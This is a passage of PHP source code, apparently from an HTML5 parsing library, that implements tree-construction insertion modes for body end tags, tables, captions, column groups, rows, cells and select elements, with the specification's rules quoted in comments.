not a body element, this is a parse error. Ignore the token.
(innerHTML case) */
if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') {
// Ignore.
/* If the current node is not the body element, then this
is a parse error. */
} elseif(end($this->stack)->nodeName !== 'body') {
// Parse error.
}
/* Change the insertion mode to "after body". */
$this->mode = self::AFTER_BODY;
break;
/* An end tag with the tag name "html" */
case 'html':
/* Act as if an end tag with tag name "body" had been seen,
then, if that token wasn't ignored, reprocess the current
token. */
$this->inBody(array(
'name' => 'body',
'type' => HTML5::ENDTAG
));
return $this->afterBody($token);
break;
/* An end tag whose tag name is one of: "address", "blockquote",
"center", "dir", "div", "dl", "fieldset", "listing", "menu",
"ol", "pre", "ul" */
case 'address': case 'blockquote': case 'center': case 'dir':
case 'div': case 'dl': case 'fieldset': case 'listing':
case 'menu': case 'ol': case 'pre': case 'ul':
/* If the stack of open elements has an element in scope
with the same tag name as that of the token, then generate
implied end tags. */
if($this->elementInScope($token['name'])) {
$this->generateImpliedEndTags();
/* Now, if the current node is not an element with
the same tag name as that of the token, then this
is a parse error. */
// w/e
/* If the stack of open elements has an element in
scope with the same tag name as that of the token,
then pop elements from this stack until an element
with that tag name has been popped from the stack. */
for($n = count($this->stack) - 1; $n >= 0; $n--) {
if($this->stack[$n]->nodeName === $token['name']) {
$n = -1;
}
array_pop($this->stack);
}
}
break;
/* An end tag whose tag name is "form" */
case 'form':
/* If the stack of open elements has an element in scope
with the same tag name as that of the token, then generate
implied end tags. */
if($this->elementInScope($token['name'])) {
$this->generateImpliedEndTags();
}
if(end($this->stack)->nodeName !== $token['name']) {
/* Now, if the current node is not an element with the
same tag name as that of the token, then this is a parse
error. */
// w/e
} else {
/* Otherwise, if the current node is an element with
the same tag name as that of the token pop that element
from the stack. */
array_pop($this->stack);
}
/* In any case, set the form element pointer to null. */
$this->form_pointer = null;
break;
/* An end tag whose tag name is "p" */
case 'p':
/* If the stack of open elements has a p element in scope,
then generate implied end tags, except for p elements. */
if($this->elementInScope('p')) {
$this->generateImpliedEndTags(array('p'));
/* If the current node is not a p element, then this is
a parse error. */
// k
/* If the stack of open elements has a p element in
scope, then pop elements from this stack until the stack
no longer has a p element in scope. */
for($n = count($this->stack) - 1; $n >= 0; $n--) {
if($this->elementInScope('p')) {
array_pop($this->stack);
} else {
break;
}
}
}
break;
/* An end tag whose tag name is "dd", "dt", or "li" */
case 'dd': case 'dt': case 'li':
/* If the stack of open elements has an element in scope
whose tag name matches the tag name of the token, then
generate implied end tags, except for elements with the
same tag name as the token. */
if($this->elementInScope($token['name'])) {
$this->generateImpliedEndTags(array($token['name']));
/* If the current node is not an element with the same
tag name as the token, then this is a parse error. */
// w/e
/* If the stack of open elements has an element in scope
whose tag name matches the tag name of the token, then
pop elements from this stack until an element with that
tag name has been popped from the stack. */
for($n = count($this->stack) - 1; $n >= 0; $n--) {
if($this->stack[$n]->nodeName === $token['name']) {
$n = -1;
}
array_pop($this->stack);
}
}
break;
/* An end tag whose tag name is one of: "h1", "h2", "h3", "h4",
"h5", "h6" */
case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6':
$elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6');
/* If the stack of open elements has in scope an element whose
tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then
generate implied end tags. */
if($this->elementInScope($elements)) {
$this->generateImpliedEndTags();
/* Now, if the current node is not an element with the same
tag name as that of the token, then this is a parse error. */
// w/e
/* If the stack of open elements has in scope an element
whose tag name is one of "h1", "h2", "h3", "h4", "h5", or
"h6", then pop elements from the stack until an element
with one of those tag names has been popped from the stack. */
while($this->elementInScope($elements)) {
array_pop($this->stack);
}
}
break;
/* An end tag whose tag name is one of: "a", "b", "big", "em",
"font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */
case 'a': case 'b': case 'big': case 'em': case 'font':
case 'i': case 'nobr': case 's': case 'small': case 'strike':
case 'strong': case 'tt': case 'u':
/* 1. Let the formatting element be the last element in
the list of active formatting elements that:
* is between the end of the list and the last scope
marker in the list, if any, or the start of the list
otherwise, and
* has the same tag name as the token.
*/
while(true) {
for($a = count($this->a_formatting) - 1; $a >= 0; $a--) {
if($this->a_formatting[$a] === self::MARKER) {
break;
} elseif($this->a_formatting[$a]->tagName === $token['name']) {
$formatting_element = $this->a_formatting[$a];
$in_stack = in_array($formatting_element, $this->stack, true);
$fe_af_pos = $a;
break;
}
}
/* If there is no such node, or, if that node is
also in the stack of open elements but the element
is not in scope, then this is a parse error. Abort
these steps. The token is ignored. */
if(!isset($formatting_element) || ($in_stack &&
!$this->elementInScope($token['name']))) {
break;
/* Otherwise, if there is such a node, but that node
is not in the stack of open elements, then this is a
parse error; remove the element from the list, and
abort these steps. */
} elseif(isset($formatting_element) && !$in_stack) {
unset($this->a_formatting[$fe_af_pos]);
$this->a_formatting = array_merge($this->a_formatting);
break;
}
/* 2. Let the furthest block be the topmost node in the
stack of open elements that is lower in the stack
than the formatting element, and is not an element in
the phrasing or formatting categories. There might
not be one. */
$fe_s_pos = array_search($formatting_element, $this->stack, true);
$length = count($this->stack);
for($s = $fe_s_pos + 1; $s < $length; $s++) {
$category = $this->getElementCategory($this->stack[$s]->nodeName);
if($category !== self::PHRASING && $category !== self::FORMATTING) {
$furthest_block = $this->stack[$s];
}
}
/* 3. If there is no furthest block, then the UA must
skip the subsequent steps and instead just pop all
the nodes from the bottom of the stack of open
elements, from the current node up to the formatting
element, and remove the formatting element from the
list of active formatting elements. */
if(!isset($furthest_block)) {
for($n = $length - 1; $n >= $fe_s_pos; $n--) {
array_pop($this->stack);
}
unset($this->a_formatting[$fe_af_pos]);
$this->a_formatting = array_merge($this->a_formatting);
break;
}
/* 4. Let the common ancestor be the element
immediately above the formatting element in the stack
of open elements. */
$common_ancestor = $this->stack[$fe_s_pos - 1];
/* 5. If the furthest block has a parent node, then
remove the furthest block from its parent node. */
if($furthest_block->parentNode !== null) {
$furthest_block->parentNode->removeChild($furthest_block);
}
/* 6. Let a bookmark note the position of the
formatting element in the list of active formatting
elements relative to the elements on either side
of it in the list. */
$bookmark = $fe_af_pos;
/* 7. Let node and last node be the furthest block.
Follow these steps: */
$node = $furthest_block;
$last_node = $furthest_block;
while(true) {
for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) {
/* 7.1 Let node be the element immediately
prior to node in the stack of open elements. */
$node = $this->stack[$n];
/* 7.2 If node is not in the list of active
formatting elements, then remove node from
the stack of open elements and then go back
to step 1. */
if(!in_array($node, $this->a_formatting, true)) {
unset($this->stack[$n]);
$this->stack = array_merge($this->stack);
} else {
break;
}
}
/* 7.3 Otherwise, if node is the formatting
element, then go to the next step in the overall
algorithm. */
if($node === $formatting_element) {
break;
/* 7.4 Otherwise, if last node is the furthest
block, then move the aforementioned bookmark to
be immediately after the node in the list of
active formatting elements. */
} elseif($last_node === $furthest_block) {
$bookmark = array_search($node, $this->a_formatting, true) + 1;
}
/* 7.5 If node has any children, perform a
shallow clone of node, replace the entry for
node in the list of active formatting elements
with an entry for the clone, replace the entry
for node in the stack of open elements with an
entry for the clone, and let node be the clone. */
if($node->hasChildNodes()) {
$clone = $node->cloneNode();
$s_pos = array_search($node, $this->stack, true);
$a_pos = array_search($node, $this->a_formatting, true);
$this->stack[$s_pos] = $clone;
$this->a_formatting[$a_pos] = $clone;
$node = $clone;
}
/* 7.6 Insert last node into node, first removing
it from its previous parent node if any. */
if($last_node->parentNode !== null) {
$last_node->parentNode->removeChild($last_node);
}
$node->appendChild($last_node);
/* 7.7 Let last node be node. */
$last_node = $node;
}
/* 8. Insert whatever last node ended up being in
the previous step into the common ancestor node,
first removing it from its previous parent node if
any. */
if($last_node->parentNode !== null) {
$last_node->parentNode->removeChild($last_node);
}
$common_ancestor->appendChild($last_node);
/* 9. Perform a shallow clone of the formatting
element. */
$clone = $formatting_element->cloneNode();
/* 10. Take all of the child nodes of the furthest
block and append them to the clone created in the
last step. */
while($furthest_block->hasChildNodes()) {
$child = $furthest_block->firstChild;
$furthest_block->removeChild($child);
$clone->appendChild($child);
}
/* 11. Append that clone to the furthest block. */
$furthest_block->appendChild($clone);
/* 12. Remove the formatting element from the list
of active formatting elements, and insert the clone
into the list of active formatting elements at the
position of the aforementioned bookmark. */
$fe_af_pos = array_search($formatting_element, $this->a_formatting, true);
unset($this->a_formatting[$fe_af_pos]);
$this->a_formatting = array_merge($this->a_formatting);
$af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1);
$af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting));
$this->a_formatting = array_merge($af_part1, array($clone), $af_part2);
/* 13. Remove the formatting element from the stack
of open elements, and insert the clone into the stack
of open elements immediately after (i.e. in a more
deeply nested position than) the position of the
furthest block in that stack. */
$fe_s_pos = array_search($formatting_element, $this->stack, true);
$fb_s_pos = array_search($furthest_block, $this->stack, true);
unset($this->stack[$fe_s_pos]);
$s_part1 = array_slice($this->stack, 0, $fb_s_pos);
$s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack));
$this->stack = array_merge($s_part1, array($clone), $s_part2);
/* 14. Jump back to step 1 in this series of steps. */
unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block);
}
break;
/* An end tag token whose tag name is one of: "button",
"marquee", "object" */
case 'button': case 'marquee': case 'object':
/* If the stack of open elements has an element in scope whose
tag name matches the tag name of the token, then generate implied
tags. */
if($this->elementInScope($token['name'])) {
$this->generateImpliedEndTags();
/* Now, if the current node is not an element with the same
tag name as the token, then this is a parse error. */
// k
/* Now, if the stack of open elements has an element in scope
whose tag name matches the tag name of the token, then pop
elements from the stack until that element has been popped from
the stack, and clear the list of active formatting elements up
to the last marker. */
for($n = count($this->stack) - 1; $n >= 0; $n--) {
if($this->stack[$n]->nodeName === $token['name']) {
$n = -1;
}
array_pop($this->stack);
}
$marker = end(array_keys($this->a_formatting, self::MARKER, true));
for($n = count($this->a_formatting) - 1; $n > $marker; $n--) {
array_pop($this->a_formatting);
}
}
break;
/* Or an end tag whose tag name is one of: "area", "basefont",
"bgsound", "br", "embed", "hr", "iframe", "image", "img",
"input", "isindex", "noembed", "noframes", "param", "select",
"spacer", "table", "textarea", "wbr" */
case 'area': case 'basefont': case 'bgsound': case 'br':
case 'embed': case 'hr': case 'iframe': case 'image':
case 'img': case 'input': case 'isindex': case 'noembed':
case 'noframes': case 'param': case 'select': case 'spacer':
case 'table': case 'textarea': case 'wbr':
// Parse error. Ignore the token.
break;
/* An end tag token not covered by the previous entries */
default:
for($n = count($this->stack) - 1; $n >= 0; $n--) {
/* Initialise node to be the current node (the bottommost
node of the stack). */
$node = end($this->stack);
/* If node has the same tag name as the end tag token,
then: */
if($token['name'] === $node->nodeName) {
/* Generate implied end tags. */
$this->generateImpliedEndTags();
/* If the tag name of the end tag token does not
match the tag name of the current node, this is a
parse error. */
// k
/* Pop all the nodes from the current node up to
node, including node, then stop this algorithm. */
for($x = count($this->stack) - $n; $x >= $n; $x--) {
array_pop($this->stack);
}
} else {
$category = $this->getElementCategory($node);
if($category !== self::SPECIAL && $category !== self::SCOPING) {
/* Otherwise, if node is in neither the formatting
category nor the phrasing category, then this is a
parse error. Stop this algorithm. The end tag token
is ignored. */
return false;
}
}
}
break;
}
break;
}
}
private function inTable($token)
{
$clear = array('html', 'table');
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Append the character to the current node. */
$text = $this->dom->createTextNode($token['data']);
end($this->stack)->appendChild($text);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
end($this->stack)->appendChild($comment);
/* A start tag whose tag name is "caption" */
} elseif($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'caption') {
/* Clear the stack back to a table context. */
$this->clearStackToTableContext($clear);
/* Insert a marker at the end of the list of active
formatting elements. */
$this->a_formatting[] = self::MARKER;
/* Insert an HTML element for the token, then switch the
insertion mode to "in caption". */
$this->insertElement($token);
$this->mode = self::IN_CAPTION;
/* A start tag whose tag name is "colgroup" */
} elseif($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'colgroup') {
/* Clear the stack back to a table context. */
$this->clearStackToTableContext($clear);
/* Insert an HTML element for the token, then switch the
insertion mode to "in column group". */
$this->insertElement($token);
$this->mode = self::IN_CGROUP;
/* A start tag whose tag name is "col" */
} elseif($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'col') {
$this->inTable(array(
'name' => 'colgroup',
'type' => HTML5::STARTTAG,
'attr' => array()
));
$this->inColumnGroup($token);
/* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */
} elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
array('tbody', 'tfoot', 'thead'))) {
/* Clear the stack back to a table context. */
$this->clearStackToTableContext($clear);
/* Insert an HTML element for the token, then switch the insertion
mode to "in table body". */
$this->insertElement($token);
$this->mode = self::IN_TBODY;
/* A start tag whose tag name is one of: "td", "th", "tr" */
} elseif($token['type'] === HTML5::STARTTAG &&
in_array($token['name'], array('td', 'th', 'tr'))) {
/* Act as if a start tag token with the tag name "tbody" had been
seen, then reprocess the current token. */
$this->inTable(array(
'name' => 'tbody',
'type' => HTML5::STARTTAG,
'attr' => array()
));
return $this->inTableBody($token);
/* A start tag whose tag name is "table" */
} elseif($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'table') {
/* Parse error. Act as if an end tag token with the tag name "table"
had been seen, then, if that token wasn't ignored, reprocess the
current token. */
$this->inTable(array(
'name' => 'table',
'type' => HTML5::ENDTAG
));
return $this->mainPhase($token);
/* An end tag whose tag name is "table" */
} elseif($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'table') {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. (innerHTML case) */
if(!$this->elementInScope($token['name'], true)) {
return false;
/* Otherwise: */
} else {
/* Generate implied end tags. */
$this->generateImpliedEndTags();
/* Now, if the current node is not a table element, then this
is a parse error. */
// w/e
/* Pop elements from this stack until a table element has been
popped from the stack. */
while(true) {
$current = end($this->stack)->nodeName;
array_pop($this->stack);
if($current === 'table') {
break;
}
}
/* Reset the insertion mode appropriately. */
$this->resetInsertionMode();
}
/* An end tag whose tag name is one of: "body", "caption", "col",
"colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */
} elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td',
'tfoot', 'th', 'thead', 'tr'))) {
// Parse error. Ignore the token.
/* Anything else */
} else {
/* Parse error. Process the token as if the insertion mode was "in
body", with the following exception: */
/* If the current node is a table, tbody, tfoot, thead, or tr
element, then, whenever a node would be inserted into the current
node, it must instead be inserted into the foster parent element. */
if(in_array(end($this->stack)->nodeName,
array('table', 'tbody', 'tfoot', 'thead', 'tr'))) {
/* The foster parent element is the parent element of the last
table element in the stack of open elements, if there is a
table element and it has such a parent element. If there is no
table element in the stack of open elements (innerHTML case),
then the foster parent element is the first element in the
stack of open elements (the html element). Otherwise, if there
is a table element in the stack of open elements, but the last
table element in the stack of open elements has no parent, or
its parent node is not an element, then the foster parent
element is the element before the last table element in the
stack of open elements. */
for($n = count($this->stack) - 1; $n >= 0; $n--) {
if($this->stack[$n]->nodeName === 'table') {
$table = $this->stack[$n];
break;
}
}
if(isset($table) && $table->parentNode !== null) {
$this->foster_parent = $table->parentNode;
} elseif(!isset($table)) {
$this->foster_parent = $this->stack[0];
} elseif(isset($table) && ($table->parentNode === null ||
$table->parentNode->nodeType !== XML_ELEMENT_NODE)) {
$this->foster_parent = $this->stack[$n - 1];
}
}
$this->inBody($token);
}
}
private function inCaption($token)
{
/* An end tag whose tag name is "caption" */
if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. (innerHTML case) */
if(!$this->elementInScope($token['name'], true)) {
// Ignore
/* Otherwise: */
} else {
/* Generate implied end tags. */
$this->generateImpliedEndTags();
/* Now, if the current node is not a caption element, then this
is a parse error. */
// w/e
/* Pop elements from this stack until a caption element has
been popped from the stack. */
while(true) {
$node = end($this->stack)->nodeName;
array_pop($this->stack);
if($node === 'caption') {
break;
}
}
/* Clear the list of active formatting elements up to the last
marker. */
$this->clearTheActiveFormattingElementsUpToTheLastMarker();
/* Switch the insertion mode to "in table". */
$this->mode = self::IN_TABLE;
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag
name is "table" */
} elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'],
array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th',
'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'table')) {
/* Parse error. Act as if an end tag with the tag name "caption"
had been seen, then, if that token wasn't ignored, reprocess the
current token. */
$this->inCaption(array(
'name' => 'caption',
'type' => HTML5::ENDTAG
));
return $this->inTable($token);
/* An end tag whose tag name is one of: "body", "col", "colgroup",
"html", "tbody", "td", "tfoot", "th", "thead", "tr" */
} elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th',
'thead', 'tr'))) {
// Parse error. Ignore the token.
/* Anything else */
} else {
/* Process the token as if the insertion mode was "in body". */
$this->inBody($token);
}
}
private function inColumnGroup($token)
{
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Append the character to the current node. */
$text = $this->dom->createTextNode($token['data']);
end($this->stack)->appendChild($text);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
end($this->stack)->appendChild($comment);
/* A start tag whose tag name is "col" */
} elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') {
/* Insert a col element for the token. Immediately pop the current
node off the stack of open elements. */
$this->insertElement($token);
array_pop($this->stack);
/* An end tag whose tag name is "colgroup" */
} elseif($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'colgroup') {
/* If the current node is the root html element, then this is a
parse error, ignore the token. (innerHTML case) */
if(end($this->stack)->nodeName === 'html') {
// Ignore
/* Otherwise, pop the current node (which will be a colgroup
element) from the stack of open elements. Switch the insertion
mode to "in table". */
} else {
array_pop($this->stack);
$this->mode = self::IN_TABLE;
}
/* An end tag whose tag name is "col" */
} elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') {
/* Parse error. Ignore the token. */
/* Anything else */
} else {
/* Act as if an end tag with the tag name "colgroup" had been seen,
and then, if that token wasn't ignored, reprocess the current token. */
$this->inColumnGroup(array(
'name' => 'colgroup',
'type' => HTML5::ENDTAG
));
return $this->inTable($token);
}
}
private function inTableBody($token)
{
$clear = array('tbody', 'tfoot', 'thead', 'html');
/* A start tag whose tag name is "tr" */
if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') {
/* Clear the stack back to a table body context. */
$this->clearStackToTableContext($clear);
/* Insert a tr element for the token, then switch the insertion
mode to "in row". */
$this->insertElement($token);
$this->mode = self::IN_ROW;
/* A start tag whose tag name is one of: "th", "td" */
} elseif($token['type'] === HTML5::STARTTAG &&
($token['name'] === 'th' || $token['name'] === 'td')) {
/* Parse error. Act as if a start tag with the tag name "tr" had
been seen, then reprocess the current token. */
$this->inTableBody(array(
'name' => 'tr',
'type' => HTML5::STARTTAG,
'attr' => array()
));
return $this->inRow($token);
/* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */
} elseif($token['type'] === HTML5::ENDTAG &&
in_array($token['name'], array('tbody', 'tfoot', 'thead'))) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. */
if(!$this->elementInScope($token['name'], true)) {
// Ignore
/* Otherwise: */
} else {
/* Clear the stack back to a table body context. */
$this->clearStackToTableContext($clear);
/* Pop the current node from the stack of open elements. Switch
the insertion mode to "in table". */
array_pop($this->stack);
$this->mode = self::IN_TABLE;
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "tfoot", "thead", or an end tag whose tag name is "table" */
} elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'],
array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) ||
($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) {
/* If the stack of open elements does not have a tbody, thead, or
tfoot element in table scope, this is a parse error. Ignore the
token. (innerHTML case) */
if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) {
// Ignore.
/* Otherwise: */
} else {
/* Clear the stack back to a table body context. */
$this->clearStackToTableContext($clear);
/* Act as if an end tag with the same tag name as the current
node ("tbody", "tfoot", or "thead") had been seen, then
reprocess the current token. */
$this->inTableBody(array(
'name' => end($this->stack)->nodeName,
'type' => HTML5::ENDTAG
));
return $this->mainPhase($token);
}
/* An end tag whose tag name is one of: "body", "caption", "col",
"colgroup", "html", "td", "th", "tr" */
} elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) {
/* Parse error. Ignore the token. */
/* Anything else */
} else {
/* Process the token as if the insertion mode was "in table". */
$this->inTable($token);
}
}
private function inRow($token)
{
$clear = array('tr', 'html');
/* A start tag whose tag name is one of: "th", "td" */
if($token['type'] === HTML5::STARTTAG &&
($token['name'] === 'th' || $token['name'] === 'td')) {
/* Clear the stack back to a table row context. */
$this->clearStackToTableContext($clear);
/* Insert an HTML element for the token, then switch the insertion
mode to "in cell". */
$this->insertElement($token);
$this->mode = self::IN_CELL;
/* Insert a marker at the end of the list of active formatting
elements. */
$this->a_formatting[] = self::MARKER;
/* An end tag whose tag name is "tr" */
} elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. (innerHTML case) */
if(!$this->elementInScope($token['name'], true)) {
// Ignore.
/* Otherwise: */
} else {
/* Clear the stack back to a table row context. */
$this->clearStackToTableContext($clear);
/* Pop the current node (which will be a tr element) from the
stack of open elements. Switch the insertion mode to "in table
body". */
array_pop($this->stack);
$this->mode = self::IN_TBODY;
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */
} elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) {
/* Act as if an end tag with the tag name "tr" had been seen, then,
if that token wasn't ignored, reprocess the current token. */
$this->inRow(array(
'name' => 'tr',
'type' => HTML5::ENDTAG
));
return $this->inCell($token);
/* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */
} elseif($token['type'] === HTML5::ENDTAG &&
in_array($token['name'], array('tbody', 'tfoot', 'thead'))) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. */
if(!$this->elementInScope($token['name'], true)) {
// Ignore.
/* Otherwise: */
} else {
/* Otherwise, act as if an end tag with the tag name "tr" had
been seen, then reprocess the current token. */
$this->inRow(array(
'name' => 'tr',
'type' => HTML5::ENDTAG
));
return $this->inCell($token);
}
/* An end tag whose tag name is one of: "body", "caption", "col",
"colgroup", "html", "td", "th" */
} elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) {
/* Parse error. Ignore the token. */
/* Anything else */
} else {
/* Process the token as if the insertion mode was "in table". */
$this->inTable($token);
}
}
private function inCell($token)
{
/* An end tag whose tag name is one of: "td", "th" */
if($token['type'] === HTML5::ENDTAG &&
($token['name'] === 'td' || $token['name'] === 'th')) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as that of the token, then this is a
parse error and the token must be ignored. */
if(!$this->elementInScope($token['name'], true)) {
// Ignore.
/* Otherwise: */
} else {
/* Generate implied end tags, except for elements with the same
tag name as the token. */
$this->generateImpliedEndTags(array($token['name']));
/* Now, if the current node is not an element with the same tag
name as the token, then this is a parse error. */
// k
/* Pop elements from this stack until an element with the same
tag name as the token has been popped from the stack. */
while(true) {
$node = end($this->stack)->nodeName;
array_pop($this->stack);
if($node === $token['name']) {
break;
}
}
/* Clear the list of active formatting elements up to the last
marker. */
$this->clearTheActiveFormattingElementsUpToTheLastMarker();
/* Switch the insertion mode to "in row". (The current node
will be a tr element at this point.) */
$this->mode = self::IN_ROW;
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "td", "tfoot", "th", "thead", "tr" */
} elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th',
'thead', 'tr'))) {
/* If the stack of open elements does not have a td or th element
in table scope, then this is a parse error; ignore the token.
(innerHTML case) */
if(!$this->elementInScope(array('td', 'th'), true)) {
// Ignore.
/* Otherwise, close the cell (see below) and reprocess the current
token. */
} else {
$this->closeCell();
return $this->inRow($token);
}
/* A start tag whose tag name is one of: "caption", "col", "colgroup",
"tbody", "td", "tfoot", "th", "thead", "tr" */
} elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th',
'thead', 'tr'))) {
/* If the stack of open elements does not have a td or th element
in table scope, then this is a parse error; ignore the token.
(innerHTML case) */
if(!$this->elementInScope(array('td', 'th'), true)) {
// Ignore.
/* Otherwise, close the cell (see below) and reprocess the current
token. */
} else {
$this->closeCell();
return $this->inRow($token);
}
/* An end tag whose tag name is one of: "body", "caption", "col",
"colgroup", "html" */
} elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
array('body', 'caption', 'col', 'colgroup', 'html'))) {
/* Parse error. Ignore the token. */
/* An end tag whose tag name is one of: "table", "tbody", "tfoot",
"thead", "tr" */
} elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'],
array('table', 'tbody', 'tfoot', 'thead', 'tr'))) {
/* If the stack of open elements does not have an element in table
scope with the same tag name as that of the token (which can only
happen for "tbody", "tfoot" and "thead", or, in the innerHTML case),
then this is a parse error and the token must be ignored. */
if(!$this->elementInScope($token['name'], true)) {
// Ignore.
/* Otherwise, close the cell (see below) and reprocess the current
token. */
} else {
$this->closeCell();
return $this->inRow($token);
}
/* Anything else */
} else {
/* Process the token as if the insertion mode was "in body". */
$this->inBody($token);
}
}
private function inSelect($token)
{
/* Handle the token as follows: */
/* A character token */
if($token['type'] === HTML5::CHARACTR) {
/* Append the token's character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$this->insertComment($token['data']);
/* A start tag token whose tag name is "option" */
} elseif($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'option') {
/* If the current node is an option element, act as if an end tag
with the tag name "option" had been seen. */
if(end($this->stack)->nodeName === 'option') {
$this->inSelect(array(
'name' => 'option',
'type' => HTML5::ENDTAG
));
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* A start tag token whose tag name is "optgroup" */
} elseif($token['type'] === HTML5::STARTTAG &&
$token['name'] === 'optgroup') {
/* If the current node is an option element, act as if an end tag
with the tag name "option" had been seen. */
if(end($this->stack)->nodeName === 'option') {
$this->inSelect(array(
'name' => 'option',
'type' => HTML5::ENDTAG
));
}
/* If the current node is an optgroup element, act as if an end tag
with the tag name "optgroup" had been seen. */
if(end($this->stack)->nodeName === 'optgroup') {
$this->inSelect(array(
'name' => 'optgroup',
'type' => HTML5::ENDTAG
));
}
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* An end tag token whose tag name is "optgroup" */
} elseif($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'optgroup') {
/* First, if the current node is an option element, and the node
immediately before it in the stack of open elements is an optgroup
element, then act as if an end tag with the tag name "option" had
been seen. */
$elements_in_stack = count($this->stack);
if($this->stack[$elements_in_stack - 1]->nodeName === 'option' &&
$this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') {
$this->inSelect(array(
'name' => 'option',
'type' => HTML5::ENDTAG
));
}
/* If the current node is an optgroup element, then pop that node
from the stack of open elements. Otherwise, this is a parse error,
ignore the token. */
if($this->stack[$elements_in_stack - 1] === 'optgroup') {
array_pop($this->stack);
}
/* An end tag token whose tag name is "option" */
} elseif($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'option') {
/* If the current node is an option element, then pop that node
from the stack of open elements. Otherwise, this is a parse error,
ignore the token. */
if(end($this->stack)->nodeName === 'option') {
array_pop($this->stack);
}
/* An end tag whose tag name is "select" */
} elseif($token['type'] === HTML5::ENDTAG &&
$token['name'] === 'select') {
/* If the stack of open elements does not have an element in table
scope with the same tag name as the token, this is a parse error.
Ignore the token. (innerHTML case) */
if(!$this->elementInScope($token['name'], true)) {
// w/e
/* Otherwise: */
} else {
/* Pop elements from the stack of open elements until a select
element has been popped from the stack. */
while(true) {
$current = end($this->stack)->nodeName;
array_pop($this->stack);
if($current === 'select') {
break;
}
}
/* Reset the insertion mode appropriately. */
$this->resetInsertionMode();
}
